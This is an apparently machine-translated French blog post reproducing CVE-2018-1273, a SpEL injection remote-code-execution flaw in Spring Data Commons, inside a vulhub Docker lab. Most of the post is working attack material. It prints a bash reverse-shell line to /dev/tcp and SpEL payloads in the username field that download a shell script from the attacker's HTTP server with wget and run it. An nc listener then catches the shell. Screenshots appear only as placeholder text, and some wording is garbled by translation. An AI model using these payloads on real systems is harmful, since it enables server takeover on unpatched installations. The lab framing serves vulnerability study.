Récurrence de la vulnérabilité d'exécution de commandes à distance Spring Data Commons (CVE-2018-1273)

1. Description de la vulnérabilité
Spring Data est un framework open source utilisé pour simplifier l'accès aux bases de données et prendre en charge les services cloud. Il comprend Commons, Gemfire, JPA, JDBC, MongoDB et d'autres modules. Cette vulnérabilité se produit dans le composant Spring Data Commons, qui fournit un cadre de base partagé, peut être utilisé par divers sous-projets et prend en charge la persistance entre bases de données.

Il existe une vulnérabilité d'exécution de code à distance dans le composant Spring Data Commons. Un attaquant peut construire une expression SPEL contenant du code malveillant pour mettre en œuvre des attaques de code à distance et obtenir directement les autorisations de contrôle du serveur.
2. Versions concernées
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 à 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
3. Configurer l'environnement
cd vulhub/spring/CVE-2018-1273
docker-compose up -d
insérer la description de l'image ici

4. Reproduction de vulnérabilité
1. Préparez la commande shell
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
pour écrire le fichier shell.sh
insérer la description de l'image ici

2. Activez le service http.
Activez le service http dans le répertoire où se trouve le fichier sh
. python -m http.server 8081
insérer la description de l'image iciinsérer la description de l'image ici

3. Capturez les paquets
 : visitez http://192.168.25.128:8080/users, inscrivez-vous et capturez les paquets BP
insérer la description de l'image iciinsérer la description de l'image ici

4. Préparez le package de requête
Payload :
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“[Command to be exécuté]”)]=&password=&repeatedPassword=Download
package de requête de fichier : username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/usr/bin/wget -O /tmp/1.sh http://192.168 . 155.2:8081/shell.sh")]&password=test&repeatedPassword=test
Exécuter le package de demande de commande :
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin / bash /tmp/1.sh")]&password=test&repeatedPassword=test
5.nc active la surveillance
insérer la description de l'image ici

6. Envoyer le package de demande
Envoyer le package de téléchargement
insérer la description de l'image ici

J'ai trouvé que 1.sh apparaissait dans tmp
insérer la description de l'image iciinsérer la description de l'image ici

Envoyer le package d'exécution
insérer la description de l'image ici

7. Coque à rebond
insérer la description de l'image ici

Remarque :
Utilisation correcte de wget :
utilisez l'option -O pour enregistrer le fichier téléchargé sous un autre nom
wget -O /usr/software https://download.redis.io/releases/redis-6.0.8.tar.gz

Je suppose que tu aimes

Origine blog.csdn.net/wutiangui/article/details/132790803
conseillé
Classement